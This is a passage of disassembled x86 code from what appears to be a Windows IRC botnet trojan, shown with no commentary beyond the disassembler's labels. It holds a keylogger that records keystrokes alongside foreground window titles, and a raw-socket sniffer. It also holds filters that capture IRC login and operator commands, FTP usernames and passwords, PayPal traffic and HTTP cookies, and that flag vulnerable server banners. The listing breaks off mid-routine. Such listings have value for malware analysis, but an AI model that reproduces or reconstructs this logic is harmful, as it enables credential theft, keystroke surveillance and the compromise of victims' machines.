loc_4125A7: ; CODE XREF: sub_412197+1E9j
; sub_412197+2FBj ...
cmp [ebp+var_8], ebx
jg loc_412327
mov edi, [ebp+arg_0]
loc_4125B3: ; CODE XREF: sub_412197+199j
push esi
call dword_4CBA7C ; closesocket
push [ebp+var_4]
call sub_41BA3B
dec [ebp+var_164]
cmp [edi+2A0h], ebx
pop ecx
jnz short loc_4125E4
push [ebp+var_168]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_4125E4: ; CODE XREF: sub_412197+438j
push 3E8h
call dword_427080 ; Sleep
push edi
loc_4125F0: ; CODE XREF: sub_412197+125j
call sub_412197
pop edi
pop esi
pop ebx
leave
retn 4
sub_412197 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4125FC proc near ; CODE XREF: sub_4126A7+E2p
; sub_4126A7+1A4p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = byte ptr 18h
arg_90 = dword ptr 98h
arg_94 = dword ptr 9Ch
push ebp
mov ebp, esp
sub esp, 200h
cmp [ebp+arg_90], 0
jz short loc_41266C
push esi
mov esi, offset dword_435850
loc_412614: ; CODE XREF: sub_4125FC+6Bj
push esi
push [ebp+arg_4]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41265B
push esi
lea eax, [ebp+var_200]
push [ebp+arg_0]
push offset dword_436BBC
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp+var_200]
push [ebp+arg_94]
push eax
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_8]
call sub_409869
add esp, 28h
loc_41265B: ; CODE XREF: sub_4125FC+25j
add esi, 80h
cmp esi, offset dword_436450
jb short loc_412614
pop esi
jmp short loc_4126A3
; ---------------------------------------------------------------------------
loc_41266C: ; CODE XREF: sub_4125FC+10j
push [ebp+arg_0]
lea eax, [ebp+var_200]
push offset aS_2 ; "%s"
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp+var_200]
push [ebp+arg_94]
push eax
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_8]
call sub_409869
add esp, 24h
loc_4126A3: ; CODE XREF: sub_4125FC+6Ej
xor eax, eax
leave
retn
sub_4125FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4126A7 proc near ; DATA XREF: sub_401ACD+7374o
var_920 = dword ptr -920h
var_91C = byte ptr -91Ch
var_520 = byte ptr -520h
var_4E0 = byte ptr -4E0h
var_2E1 = byte ptr -2E1h
var_2E0 = byte ptr -2E0h
var_E0 = byte ptr -0E0h
var_DC = dword ptr -0DCh
var_58 = dword ptr -58h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 920h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_920], 0
push 26h
and [ebp+arg_0], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_E0]
rep movsd
mov dword ptr [eax+94h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_91C]
rep stosd
call dword_4CB968 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CB980 ; GetWindowTextA
mov ebx, 200h
loc_412702: ; CODE XREF: sub_4126A7+4A0j
push 8
call dword_427080 ; Sleep
call dword_4CB968 ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz loc_41287A
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CB980 ; GetWindowTextA
cmp [ebp+var_58], 0
jz loc_4127FF
lea eax, [ebp+var_2E0]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_4127B8
lea eax, [ebp+var_48]
push eax
call sub_41B9C0
cmp eax, 1
pop ecx
jnb short loc_4127B8
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ ; ".».%s.«."
push eax
call sub_41C266
sub esp, 8Ch
lea eax, [ebp+var_48]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4125FC
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BF70
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BF70
add esp, 0Ch
loc_4127B8: ; CODE XREF: sub_4126A7+9Bj
; sub_4126A7+AAj
lea eax, [ebp+var_2E0]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe loc_41287A
lea eax, [ebp+var_48]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe loc_41287A
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ ; ".».%s.«."
push eax
call sub_41C266
sub esp, 8Ch
jmp short loc_412833
; ---------------------------------------------------------------------------
loc_4127FF: ; CODE XREF: sub_4126A7+86j
lea eax, [ebp+var_48]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe loc_412925
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ChangedW ; ".».%s.«. (Changed Windows: %s)"
push eax
call sub_41C266
sub esp, 88h
loc_412833: ; CODE XREF: sub_4126A7+156j
push 26h
lea eax, [ebp+var_48]
pop ecx
lea esi, [ebp+var_E0]
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4125FC
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BF70
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BF70
add esp, 0Ch
loc_41287A: ; CODE XREF: sub_4126A7+6Cj
; sub_4126A7+120j ...
cmp [ebp+var_58], 0
jz loc_412925
push 1
call dword_4CB9B0 ; GetAsyncKeyState
cmp ax, 8001h
jnz loc_412925
lea eax, [ebp+var_2E0]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_412925
call dword_4CB968 ; GetForegroundWindow
lea ecx, [ebp+var_520]
push 3Ch
push ecx
push eax
call dword_4CB980 ; GetWindowTextA
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ ; ".».%s.«."
push eax
call sub_41C266
sub esp, 8Ch
lea eax, [ebp+var_520]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4125FC
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BF70
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BF70
add esp, 0Ch
loc_412925: ; CODE XREF: sub_4126A7+164j
; sub_4126A7+1D7j ...
mov [ebp+var_4], offset dword_436454
loc_41292C: ; CODE XREF: sub_4126A7+496j
push 10h
call dword_4CB8B8 ; GetKeyState
movsx esi, ax
mov eax, [ebp+var_4]
mov edi, [eax-4]
push edi
call dword_4CB9B0 ; GetAsyncKeyState
test ah, 80h
jz short loc_4129C4
push 14h
call dword_4CB8B8 ; GetKeyState
test ax, ax
jz short loc_412975
cmp esi, 0FFFFFFFFh
jle short loc_412975
cmp edi, 40h
jle short loc_412975
cmp edi, 5Bh
jge short loc_412975
mov [ebp+edi*4+var_920], 1
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_412975: ; CODE XREF: sub_4126A7+2ADj
; sub_4126A7+2B2j ...
push 14h
call dword_4CB8B8 ; GetKeyState
test ax, ax
jz short loc_4129A0
test esi, esi
jge short loc_4129B4
cmp edi, 40h
jle short loc_4129A0
cmp edi, 5Bh
jge short loc_4129A0
mov [ebp+edi*4+var_920], 2
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129A0: ; CODE XREF: sub_4126A7+2D9j
; sub_4126A7+2E2j ...
test esi, esi
jge short loc_4129B4
mov [ebp+edi*4+var_920], 3
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129B4: ; CODE XREF: sub_4126A7+2DDj
; sub_4126A7+2FBj
mov [ebp+edi*4+var_920], 4
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129C4: ; CODE XREF: sub_4126A7+2A0j
mov esi, [ebp+edi*4+var_920]
lea eax, [ebp+edi*4+var_920]
test esi, esi
jz loc_412B32
and dword ptr [eax], 0
lea eax, [ebp+var_2E0]
cmp edi, 8
push eax
jnz short loc_4129FC
call sub_41B9C0
and [ebp+eax+var_2E1], 0
pop ecx
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129FC: ; CODE XREF: sub_4126A7+340j
call sub_41B9C0
cmp eax, 1B9h
pop ecx
jbe short loc_412A42
call dword_4CB968 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4CB980 ; GetWindowTextA
cmp [ebp+var_58], 0
jz short loc_412A30
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_BufferFu ; ".».%s.«. (Buffer full)"
jmp short loc_412A85
; ---------------------------------------------------------------------------
loc_412A30: ; CODE XREF: sub_4126A7+379j
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_Buffer_0 ; ".».%s.«. (Buffer full) (%s)"
jmp short loc_412AA6
; ---------------------------------------------------------------------------
loc_412A42: ; CODE XREF: sub_4126A7+360j
cmp edi, 0Dh
jnz loc_412B04
lea eax, [ebp+var_2E0]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jz loc_412B32
call dword_4CB968 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4CB980 ; GetWindowTextA
cmp [ebp+var_58], 0
jz short loc_412A96
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_Return ; ".».%s.«. (Return)"
loc_412A85: ; CODE XREF: sub_4126A7+387j
lea eax, [ebp+var_4E0]
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_412AB5
; ---------------------------------------------------------------------------
loc_412A96: ; CODE XREF: sub_4126A7+3D0j
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_ReturnS ; ".».%s.«. (Return) (%s)"
loc_412AA6: ; CODE XREF: sub_4126A7+399j
lea eax, [ebp+var_4E0]
push eax
call sub_41C266
add esp, 10h
loc_412AB5: ; CODE XREF: sub_4126A7+3EDj
sub esp, 98h
lea eax, [ebp+var_48]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4125FC
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BF70
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BF70
add esp, 0Ch
jmp short loc_412B32
; ---------------------------------------------------------------------------
loc_412B04: ; CODE XREF: sub_4126A7+39Ej
cmp esi, 1
jz short loc_412B1D
cmp esi, 3
jz short loc_412B1D
cmp esi, 2
jz short loc_412B18
cmp esi, 4
jnz short loc_412B32
loc_412B18: ; CODE XREF: sub_4126A7+46Aj
push [ebp+var_4]
jmp short loc_412B24
; ---------------------------------------------------------------------------
loc_412B1D: ; CODE XREF: sub_4126A7+460j
; sub_4126A7+465j
mov eax, [ebp+var_4]
add eax, 7
push eax
loc_412B24: ; CODE XREF: sub_4126A7+474j
lea eax, [ebp+var_2E0]
push eax
call sub_41C8A0
pop ecx
pop ecx
loc_412B32: ; CODE XREF: sub_4126A7+2C9j
; sub_4126A7+2F4j ...
add [ebp+var_4], 14h
cmp [ebp+var_4], offset dword_436B84
jl loc_41292C
cmp [ebp+arg_0], 0
jz loc_412702
push [ebp+var_DC]
call sub_40B6D6
pop ecx
push 0
call dword_4270D4 ; ExitThread
sub_4126A7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B61 proc near ; DATA XREF: sub_401ACD+4150o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_41C500
mov edx, [ebp+arg_0]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp+var_B4]
pop ecx
mov [ebp+var_8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h
lea eax, [ebp+var_1C]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_4CB9E4 ; htons
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AA06
pop ecx
push eax
call dword_4CBA24 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_4CBA64 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_412C36
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_4375A4
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412C19
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412C19: ; CODE XREF: sub_412B61+96j
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
push [ebp+var_30]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_412C36: ; CODE XREF: sub_412B61+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_43E92C[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_4CBA10 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412CBB
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_437578
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412C97
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412C97: ; CODE XREF: sub_412B61+114j
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA7C ; closesocket
push [ebp+var_30]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_412CBB: ; CODE XREF: sub_412B61+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_4CB990 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_412D3E
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_437548
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412D1A
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412D1A: ; CODE XREF: sub_412B61+197j
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA7C ; closesocket
push [ebp+var_30]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_412D3E: ; CODE XREF: sub_412B61+177j
push ebx
mov ebx, offset dword_436C60
loc_412D44: ; CODE XREF: sub_412B61+21Bj
; sub_412B61+22Dj ...
mov edi, 0FFFFh
lea eax, [ebp+var_102B4]
push edi
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4CB9FC ; recv
cmp eax, 0FFFFFFFFh
jz loc_412E71
cmp [ebp+var_102AB], 6
jnz short loc_412D44
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_412D44
lea eax, [ebp+var_1028C]
push offset dword_43753C
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412D44
lea eax, [ebp+var_1028C]
push offset dword_43752C
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412D44
mov eax, ebx
xor edi, edi
test eax, eax
jz loc_412D44
mov [ebp+arg_0], ebx
loc_412DCD: ; CODE XREF: sub_412B61+287j
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412DEF
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_412DCD
jmp loc_412D44
; ---------------------------------------------------------------------------
loc_412DEF: ; CODE XREF: sub_412B61+27Dj
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_4CB914 ; htons
movzx eax, ax
push eax
push [ebp+var_C]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_436C74[eax*8]
push off_436C50[eax*4]
lea eax, [ebp+var_2B4]
push offset dword_4374F8
push 200h
push eax
call sub_41C360
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_412E5F
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412E5F: ; CODE XREF: sub_412B61+2DCj
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
pop ecx
jmp loc_412D44
; ---------------------------------------------------------------------------
loc_412E71: ; CODE XREF: sub_412B61+20Ej
call dword_4CB978 ; WSAGetLastError
push eax
push offset dword_4374CC
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_412EB7
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412EB7: ; CODE XREF: sub_412B61+334j
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
pop ecx
push [ebp+var_4]
call dword_4CBA7C ; closesocket
push [ebp+var_30]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
sub_412B61 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412EDD proc near ; CODE XREF: sub_4131EC+213p
; sub_4131EC+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CE744, eax
mov eax, offset dword_4CE744
retn
sub_412EDD endp
; =============== S U B R O U T I N E =======================================
sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_412F06
loc_412F02: ; CODE XREF: sub_412EEC+29j
; sub_412EEC+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F06: ; CODE XREF: sub_412EEC+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_412F4E
loc_412F4A: ; CODE XREF: sub_412EEC+71j
; sub_412EEC+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F4E: ; CODE XREF: sub_412EEC+5Cj
; DATA XREF: .packed:off_43ACE8o
push offset a302_0 ; "302 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a366 ; "366 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login_0 ; ":.login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin_1 ; ":!login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin_0 ; ":!Login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login ; ":.Login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_ident ; ":.ident"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aIdent_0 ; ":!ident"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset a_hashin ; ":.hashin"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset aHashin ; ":!hashin"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412EEC endp
; =============== S U B R O U T I N E =======================================
sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41301D
loc_413019: ; CODE XREF: sub_413003+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41301D: ; CODE XREF: sub_413003+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413019
push offset aOper_0 ; "OPER "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413043
loc_41303F: ; CODE XREF: sub_413003+4Fj
; sub_413003+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413043: ; CODE XREF: sub_413003+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aOper ; "oper "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413003 endp
; =============== S U B R O U T I N E =======================================
sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413093
loc_41308F: ; CODE XREF: sub_413079+29j
; sub_413079+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_413093: ; CODE XREF: sub_413079+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset aNick_1 ; "NICK "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset a220 ; "220 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4130CA
loc_4130C6: ; CODE XREF: sub_413079+60j
; sub_413079+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4130CA: ; CODE XREF: sub_413079+4Bj
push offset a230 ; "230 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aUser_3 ; "USER "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aPass_1 ; "PASS "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413079 endp
; =============== S U B R O U T I N E =======================================
sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41311A
loc_413116: ; CODE XREF: sub_413100+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41311A: ; CODE XREF: sub_413100+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413116
push offset aPaypal ; "paypal"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413140
loc_41313C: ; CODE XREF: sub_413100+4Fj
; sub_413100+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413140: ; CODE XREF: sub_413100+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413100 endp
; =============== S U B R O U T I N E =======================================
sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4131A1
loc_41319D: ; CODE XREF: sub_413187+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131A1: ; CODE XREF: sub_413187+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41319D
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4131C7
loc_4131C3: ; CODE XREF: sub_413187+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131C7: ; CODE XREF: sub_413187+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4131C3
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413187 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CB9F8 ; gethostname
lea eax, [ebp+var_3B8]
push eax
call dword_4CBA68 ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41CD20
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CBA64 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_413292
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_413292: ; CODE XREF: sub_4131EC+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CBA10 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_413308
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_437878
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4132E4
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
loc_4132E4: ; CODE XREF: sub_4131EC+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_415D38
pop ecx
push edi
